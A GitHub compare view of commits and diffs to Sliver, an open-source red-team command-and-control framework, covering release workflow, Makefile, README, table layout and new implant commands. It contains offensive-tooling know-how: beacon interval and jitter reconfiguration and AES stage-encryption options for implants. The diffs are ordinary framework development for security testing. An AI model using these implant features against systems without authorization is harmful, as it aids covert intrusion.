Compare commits

...
Author SHA1 Message Date
Ronan Kervella f4fcbd9cdf Merge pull request #624 from BishopFox/fix/stage_encryption
Refactoring of client side crypto code
2022-03-09 12:55:15 -08:00
rkervella 3c864311fa Add missing file 2022-03-09 12:00:16 -08:00
rkervella 6db7c42d47 Refactor client cryptography code. 2022-03-09 11:59:43 -08:00
Ronan Kervella 004047308f Merge pull request #623 from BishopFox/fix/beacon-service
Service beacons
2022-03-09 11:24:51 -08:00
rkervella ca0fd1e7be Refactor to allow beacon services on Windows.
Fixes #622.
2022-03-08 12:48:23 -08:00
Ronan Kervella 204f013c5d Merge pull request #620 from BishopFox/feature/beacon-operator
Add beacon support to `prelude-operator connect`
2022-03-07 09:53:48 -08:00
moloch-- ac33916348 Update gems 2022-03-06 07:30:26 -06:00
rkervella 75b96fbc29 Remove powershell support from Linux and Darwin executors 2022-03-04 15:44:19 -08:00
rkervella 07bfb1735e Fix null pointer deref in error case 2022-03-04 15:43:14 -08:00
Joe ea20b344ce Merge pull request #619 from BishopFox/go/v1.17.8
Go v1.17.8
2022-03-04 17:31:04 -06:00
rkervella 98c1ac9547 Merge branch 'master' into feature/beacon-operator 2022-03-04 15:23:51 -08:00
rkervella 439c88ce78 Add missing file 2022-03-04 15:20:00 -08:00
rkervella 461aa255ca Add beacon support for Operator 2022-03-04 15:19:50 -08:00
moloch-- 076e34dd02 Go v1.17.8 2022-03-04 12:04:56 -06:00
Ronan Kervella ae517d1d34 Merge pull request #618 from BishopFox/fix/dll-race
Add "run-at-load" flag for shared libraries
2022-03-03 15:38:24 -08:00
rkervella d34541a3d4 Add "run-at-load" flag for shared libraries 2022-03-03 13:37:22 -08:00
Joe db7adc172d Merge pull request #617 from ExAndroidDev/stage-encryption
Added option to encrypt the stage via AES encryption
2022-03-02 07:18:19 -06:00
ExAndroidDev 2f520931f8 Added option to encrypt the stage via AES encryption 2022-02-28 17:15:27 +01:00
Joe 707ce345c7 Merge pull request #616 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.3
Bump nokogiri from 1.12.5 to 1.13.3 in /docs
2022-02-26 07:48:16 -06:00
dependabot[bot] fcae20f92a Bump nokogiri from 1.12.5 to 1.13.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-02-26 12:06:00 +00:00
moloch-- d09c1fd086 align prelude bof compatibility 2022-02-24 11:57:11 -06:00
moloch-- 98f510abf4 Allow more env overloads in makefile 2022-02-23 19:28:38 -06:00
Joe f2aa7b45c8 Merge pull request #614 from BishopFox/fix/exts
Various small fixes to extensions
2022-02-23 17:57:49 -06:00
moloch-- 01a0bfc9cf various small fixes to extensions 2022-02-23 17:18:55 -06:00
Ronan Kervella 0cef6749b5 Merge pull request #613 from BishopFox/fix/screenshot
Fix for screenshot command
2022-02-23 14:31:23 -08:00
rkervella 2b286ae3cf Deserialize to the proper message, and don't reuse message in response. Fixes Screenshot not working. #610 2022-02-23 13:53:19 -08:00
Ronan Kervella ee7d36dfed Merge pull request #611 from BishopFox/feature/beacon-audit-log
Add beacon registration to audit log
2022-02-22 18:12:46 -08:00
rkervella 7d793841f9 Add beacon registration to audit log 2022-02-22 15:52:32 -08:00
Joe fc61b82de2 Merge pull request #603 from BishopFox/fix/obfuscation
Fix regexp to include enums
2022-02-19 11:17:08 -06:00
rkervella 46d81fefa1 Fix regexp to include enums 2022-02-17 14:30:56 -08:00
moloch-- 4a8397374e regenerate pb 2022-02-17 15:53:38 -06:00
moloch-- 359224a43e Added JS_TYPE to pivot protos 2022-02-17 15:51:47 -06:00
moloch-- 8a2d087039 Reduce http idle conn timeout 2022-02-17 15:51:47 -06:00
Joe aa50e9c874 Update README.md 2022-02-13 11:59:23 -06:00
Joe 646ef4273a Merge pull request #599 from BishopFox/fix/kill
Fix/kill
2022-02-12 18:59:52 -06:00
moloch-- 34738d2337 check rpc err on terminate cmd 2022-02-12 18:25:56 -06:00
moloch-- de31135fa5 fix related to session state mgmt and kill 2022-02-12 16:14:09 -06:00
Joe 8bc39cc231 Merge pull request #598 from BishopFox/fix/pivots
Fix/pivots
2022-02-12 14:54:44 -06:00
moloch-- f71a066ffc fix pivot/server ping interval, and calculation of pivot health 2022-02-12 13:45:00 -06:00
moloch-- 4b2b80b2f8 fix pivot session cleanup 2022-02-12 12:45:07 -06:00
moloch-- 41669ed41f fix pivotsession cleanup 2022-02-12 12:43:35 -06:00
moloch-- cdfee6510e fix issue #590, and improper named pivot peer ping cleanup 2022-02-12 12:41:39 -06:00
Joe 3826ca851e Merge pull request #596 from BishopFox/fix/reconfig
Fix Reconfig/Rename
2022-02-12 09:42:02 -06:00
moloch-- d2d7637b7d Updated reconfig cmd to support beacons, seperated rename cmd 2022-02-12 09:14:06 -06:00
moloch-- e907878674 Added link to wiki in help 2022-02-11 18:33:22 -06:00
Joe 21b7842bbf Merge pull request #595 from BishopFox/go/v1.17.7
Go v1.17.7
2022-02-11 17:04:48 -06:00
moloch-- b1ad4ada9e Go v1.17.7 2022-02-11 14:27:31 -06:00
Joe cf0b9766f7 Merge pull request #594 from kyleavery/prelude-changes
Prelude Operator: Small fixes and a new feature
2022-02-09 07:44:19 -06:00
Kyle Avery c4b096f867 fix coff-loader path 2022-02-09 04:40:23 -06:00
Kyle Avery 295c7cb5a0 Bringing back in executor changes 2022-02-09 04:33:18 -06:00
Kyle Avery 6d8d80970e trying out execute-assembly 2022-02-09 04:22:19 -06:00
Kyle Avery 925e5dfee7 testing 2022-02-08 18:56:21 -06:00
Kyle Avery 1885dc5ee3 added pwsh 2022-02-08 18:16:38 -06:00
Kyle Avery 1f694bda41 changes from v1.5.0_prelude_bugfix 2022-02-08 18:01:36 -06:00
Joe 53a35e4727 Update README.md 2022-02-08 17:59:10 -06:00
Joe 082dd94ea5 Merge pull request #591 from BishopFox/ux/term
tui ux improvements
2022-02-07 14:10:38 -07:00
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
95 changed files with 3268 additions and 2388 deletions

No files matched your search

+40 -31
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
@@ -35,6 +35,8 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -44,7 +46,11 @@ jobs:
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -77,10 +83,14 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -98,10 +108,18 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./artifacts
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
prerelease: true
files: |
./release/*
./artifacts/*
+2
View File
@@ -40,3 +40,5 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.17.6
FROM golang:1.17.8
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+15 -15
View File
@@ -3,6 +3,7 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
@@ -27,11 +28,11 @@ GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update t
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -99,28 +100,28 @@ endif
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
@@ -151,5 +152,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+5 -1
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -40,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+4
View File
@@ -33,6 +33,8 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
}
// LoadSettings - Load the client settings from disk
@@ -55,6 +57,8 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
}
}
+4 -1
View File
@@ -158,10 +158,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
LongHelp: longHelpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
+24 -5
View File
@@ -88,7 +88,10 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -223,8 +226,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
minWidth := 150
if minWidth < width {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
@@ -279,7 +281,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
if minWidth < width {
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -313,9 +315,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
strings.Join(bundle.Packages, ", "),
packages,
})
}
con.Printf("%s\n", tw.Render())
+4 -3
View File
@@ -30,6 +30,7 @@ import (
"net/url"
"path"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -416,6 +417,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
defer latestRedirect.Body.Close()
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
@@ -455,9 +457,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
Proxy: http.ProxyURL(config.ProxyURL),
IdleConnTimeout: time.Millisecond,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
+10 -10
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
// BeaconsCmd - Display/interact with beacons
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if 182 < width {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -148,9 +148,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
@@ -158,9 +158,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+76 -20
View File
@@ -63,6 +63,7 @@ import (
"github.com/bishopfox/sliver/client/command/privilege"
"github.com/bishopfox/sliver/client/command/processes"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/reconfig"
"github.com/bishopfox/sliver/client/command/registry"
"github.com/bishopfox/sliver/client/command/screenshot"
"github.com/bishopfox/sliver/client/command/sessions"
@@ -475,6 +476,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
},
Run: func(ctx *grumble.Context) error {
con.Println()
@@ -503,6 +506,47 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.MultiplayerHelpGroup,
})
// [ Reconfig ] ---------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
f.String("i", "beacon-interval", "", "beacon callback interval")
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.ReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.RenameStr,
Help: "Rename the active beacon/session",
LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "change implant name to")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
reconfig.RenameCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ Sessions ] --------------------------------------------------------------
sessionsCmd := &grumble.Command{
@@ -543,26 +587,6 @@ func BindCommands(con *console.SliverConsoleClient) {
})
con.App.AddCommand(sessionsCmd)
con.App.AddCommand(&grumble.Command{
Name: consts.ReconfigStr,
Help: "Reconfigure the active session",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
Flags: func(f *grumble.Flags) {
f.String("n", "name", "", "agent name to change to")
f.Int("r", "reconnect", -1, "reconnect interval for agent")
f.Int("p", "poll", -1, "poll interval for agent")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.SessionsReconfigCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
con.App.AddCommand(&grumble.Command{
Name: consts.BackgroundStr,
Help: "Background an active session",
@@ -807,6 +831,30 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "always-overflow",
Help: "Disable table pagination",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAlwaysOverflow(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "small-terminal",
Help: "Set the small terminal width",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSmallTerm(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
